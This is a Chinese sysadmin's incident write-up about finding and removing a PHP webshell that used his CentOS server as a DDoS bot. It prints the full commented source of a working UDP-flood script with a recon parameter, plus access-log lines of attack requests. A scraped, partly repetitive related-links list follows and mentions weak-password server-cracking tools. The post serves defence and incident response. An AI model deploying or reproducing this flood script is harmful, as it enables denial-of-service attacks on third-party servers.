一次服务器抓马经历
情景
今天早上五点,收到监控宝的警告短信,说是网站M无法访问了。睡的正香,再说网站所在系统是Centos,重要数据每天都备份,应该很安全,也没有在意。倒头接着睡觉去了。早上九点,机房负责人直接给我打来电话,说是全机房网络巨慢,单位的所有网站都打不开或打开的很慢。
2Centos服务器抓马经历
我赶紧赶了过去,查看了一下那里网络,发现175服务总是以50M/S速度向外发包,而175服务器正是网站M所在的服务器。 果断SSH连接175服务器,发现175服务器连接也很慢,连上之后top一下,查看cpu负载。发现有两个apache进程占用cpu一直在40%以上,马上停止httpd 服务。
service httpd stop
停止httpd服务之后,再看网络状态,175服务器也不向外发包了,一切正常。
由此判断应该是175服务器挂了马,疯狂向外发包,挤占了全部机房带宽。
3抓马过程
175服务器是有硬件防火墙,只开http80跟ssh22端口,ssh不太可能被盗号,应该是通过web漏洞挂马。早上5点才中招的,木马程序文件应该在1天之内。切到M站点根目录之下,查找最近一天内变动的文件,执行:
find ./ -mtime -1
果然,一个名为phzLtoxn.php的可疑文件出现在目录列表中。查看一下木马程序的创建者,执行:
ls -l phzLtoxn.php
这里发现文件就没了,难道这文件还会自我销毁?
4抓马小插曲
隔壁的管理员小黄注意到这个文件挂马文件,二话不说就删除了。我过去劈头批评教育了小黄一顿。见了木马程序就知道删删删删!难道木马程序不会再生成啊?你得顺藤摸瓜,不是一刀切。你得找到漏洞源头!删了没办法,再把httpd服务开启了,引狼入室,等等看能否再生成。果然,半小时不到,新的phzLtoxn.php文件又生成了。查看了一下,文件创建者是apache,由此判断这肯定是通过网站漏洞上传的。
5分析木马文件,查看黑客意图
这里贴出phzLtoxn.php文件源代码,并作了简单注释,仅作学习之用:
从以上代码可以看出,是个典型的DDOS攻击代码。黑客应该是把我们服务器当傀儡使用,组织大量傀儡服务器疯狂向目标服务器发包。黑客只需要打开浏览器,敲入http://www.yango.cn/phzLtoxn.php?host=x.x.x.x&port=xx&time=xx就可以对目标服务器进行ddos攻击了。<?php
//设置脚本运行时间
set_time_limit(999999);
//攻击目标服务器ip
$host = $_GET[‘host’];
//攻击目标服务器端口
$port = $_GET[‘port’];
//攻击时长
$exec_time = $_GET[‘time’];
//每次发送字节数
$Sendlen = 65535;
$packets = 0;
//设置客户机断开不终止脚本的执行
ignore_user_abort(TRUE);
//step1. 目标服务器$host、端口$port、运行时长$exec_time有效性
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {
if (StrLen($_GET[‘rat’]) <> 0) {
echo $_GET[‘rat’] . $_SERVER[“HTTP_HOST”] . “|” . GetHostByName($_SERVER[‘SERVER_NAME’]) . “|” . php_uname() . “|” . $_SERVER[‘SERVER_SOFTWARE’] . $_GET[‘rat’];
exit;
}
echo “Warning to: opening”;
exit;
}
//step2. 设定发字符串$out,这里是“AAAAAAAAAA…”
for ($i = 0; $i < $Sendlen; $i++) {
$out .= “A”;
}
$max_time = time() + $exec_time;
//step3. 进行攻击,使用udp向目标服务器狠狠发串串
while (1) {
$packets++;
if (time() > $max_time) {
break;
}
$fp = fsockopen(“udp://$host”, $port, $errno, $errstr, 5);
if ($fp) {
fwrite($fp, $out);
fclose($fp);
}
}
//step4. 攻击统计
echo “Send Host $host:$port<br><br>”;
echo “Send Flow $packets * ($Sendlen/1024=” . round($Sendlen / 1024, 2) . “)kb / 1024 = ” . round($packets * $Sendlen / 1024 / 1024, 2) . ” mb<br><br>”;
echo “Send Rate ” . round($packets / $exec_time, 2) . ” packs/s” . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . ” mb/s”;
?>
查看httpd日志,分析下攻击ip源,执行
tail /data/apachelogs/access.log | grep phzLtonxn.php
183.12.75.240 – – [18/Dec/2015:10:38:46 +0800] “GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”
110.185.121.167 – – [18/Dec/2015:10:38:56 +0800] “GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”
110.185.121.167 – – [18/Dec/2015:10:38:58 +0800] “GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”
110.185.121.167 – – [18/Dec/2015:10:39:08 +0800] “GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”
110.185.121.167 – – [18/Dec/2015:10:39:12 +0800] “GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”
118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”
118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”
118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”
118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”
118.161.219.152 – – [18/Dec/2015:10:39:28 +0800] “GET /phzLtoxn.php?host=61.164.148.49&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”
发现源ip来自多个,目标服务器ip也有多个,都属于很多国家,有点奇怪啊,为什么黑客没有针对性的攻击呢,无聊的黑客啊。
6找漏洞
1
重新审视了M站目录下文件权限。仅对几个必要的缓存、静态化的目录为apache开启了写权限,防止phzLtoxn.php文件再次生成。
2
重新开启httpd服务,使用360网站检测对H站进行漏洞检测,发现M站中有严重的远程执行漏洞,于是赶紧打了补丁。
3
补丁打好之后,顺便修改了系统用户、数据库用户、ftp用户的密码、M站系统用户密码。
观察几日之后,一切正常。
7小结一下几个安全原则
1
权限最小化
web目录一定做好权限,仅仅对apache开几个必要文件夹的写权限。
2
时刻注意补丁更新
经常使用第三方的网站安全检测工具,也可参考十大安全评估工具,如果网站系统使用了第三方常用程序,多注意一下乌云漏洞平台的信息。
3
中招后一定要补牢
别光删删删删,要查找中招源头,分析黑客目的。
相关推荐
在信息技术领域,"65500抓服务器教程"可能是指一种网络监控或安全分析技术,其中65500通常被用作一个示例端口号。这个教程可能涵盖了如何监测网络通信,特别是针对特定端口如65500的流量。在网络安全中,了解并分析...
3389自动抓服务器3389自动抓服务器3389自动抓服务器3389自动抓服务器3389自动抓服务器3389自动抓服务器3389自动抓服务器3389自动抓服务器3389自动抓服务器3389自动抓服务器3389自动抓服务器
描述中重复了三次“65500抓服务器”,这可能强调了该操作的重要性或者是在特定环境下的特殊应用。但缺乏具体的描述,无法提供更多信息。 标签“65500抓服务器”再次确认了主题,意味着我们将重点关注与该端口相关的...
易舞IT技术网 2010最新1433+SQL抓服务器(弱口令破解)
ASPX迷你服务器是一款专门为ASP.NET开发者设计的轻量级工具,尤其适用于那些没有安装Visual Studio开发环境的程序员。这个小巧的应用程序能够快速搭建一个本地服务器环境,便于进行ASP.NET网页的调试和测试工作。 ...
1. 将旧版本库复制到新服务器的一个目录下,并启动SVN服务。 2. 在本地,使用`svnadmin`工具选择本地复制的版本库,通过右键菜单选择`TortoiseSVN` -> `Relocate`。 3. 在弹出的对话框中输入新版本库的IP地址,完成...
服务器验收单是用于在接收新购入或更新的服务器时进行硬件检查的一种表格文档。它旨在确保收到的服务器及其配件符合预订单的要求,并且处于良好的工作状态。这份文档对于确保服务器能够顺利部署并投入使用至关重要。...
65500扫描抓服务器教程 65500扫描抓服务器教程
Visio是一款由Microsoft开发的流程图和矢量图形软件,它在IT领域被广泛用于绘制网络拓扑图、服务器布局图以及各种流程图。 此压缩包包含了以下文件: 1. readme.txt:这是一个常见的文本文件,通常包含有关压缩包...
描述中提到的“windows下的pppoe服务器软件”表明这是一款运行在Windows操作系统上的软件,适用于配置和调试PPPOE服务器。通常,这类软件会提供图形化界面,使得非技术用户也能相对容易地设置和管理PPPOE服务。它...
这款工具提供了多种功能,包括TCP客户端、TCP服务器、UDP通信、MQTT协议调试、HTTP客户端、网络抓包以及端口扫描等。下面将详细阐述这些功能及其重要性。 1. TCP客户端与TCP服务器:TCP(传输控制协议)是互联网上...
在IT行业中,获取服务器时间是一项基础但至关重要的任务,尤其对于参与网络抢购或秒杀活动的用户来说,准确同步服务器时间能确保操作的及时性。"获取淘宝服务器时间"这个程序就是为了帮助用户实现这一目的。下面将...
DELL R720服务器系统安装是服务器管理中的一项重要工作,对于服务器管理员来说,掌握服务器安装的步骤和方法是非常必要的。本文将详细介绍DELL R720服务器系统安装的步骤和方法,旨在帮助服务器管理员更好地掌握...
RTSP(Real Time Streaming Protocol,实时流媒体协议)是一种网络控制协议,用于在IP网络上控制流媒体服务器。它是由RealNetworks、Netscape和Apple共同提出的,旨在控制音频和视频流的传送。RTSP通常用于流媒体...
在标题"socket 一个服务器对应多个客户端使用多线程"中,提到的是使用Socket编程来设计一个服务器,该服务器能够同时处理来自多个客户端的连接请求,这通常被称为“一对一”或“一对多”模型。在Linux环境下,这种...
服务器日常巡检记录表 服务器日常巡检记录表服务器日常巡检记录表
在本文中,我们将探讨如何利用STM32F407微控制器和LWIP(Lightweight IP)库来搭建一个简单的Web服务器,并通过LAN9303以太网控制器连接网络。 首先,LWIP是一个开源、轻量级的TCP/IP协议栈,适用于资源有限的...
在Java开发领域,构建一个邮件服务器是一项重要的技术实践,这不仅可以用于学习JavaMail API的使用,也可以在实际项目中提供邮件发送和接收服务。本项目是基于纯Java实现的一个邮件服务器,名为James,版本为2.3.1。...
在IT行业中,服务器信息监控是运维工作中的重要一环,对于确保系统稳定运行、及时发现并解决问题至关重要。本文将详细探讨使用Java实现的服务器监控程序,以及如何利用它来监控CPU、内存、网络连接和服务状态。 ...
首先,我们会在图片服务器上创建一个 IIS 项目,这个项目会包含一个专门用于接收图片的目录(例如 "Images/")以及一个 ASHX(Generic Handler)文件。ASHX 文件是一种轻量级的处理程序,可以用来接收和处理 HTTP ...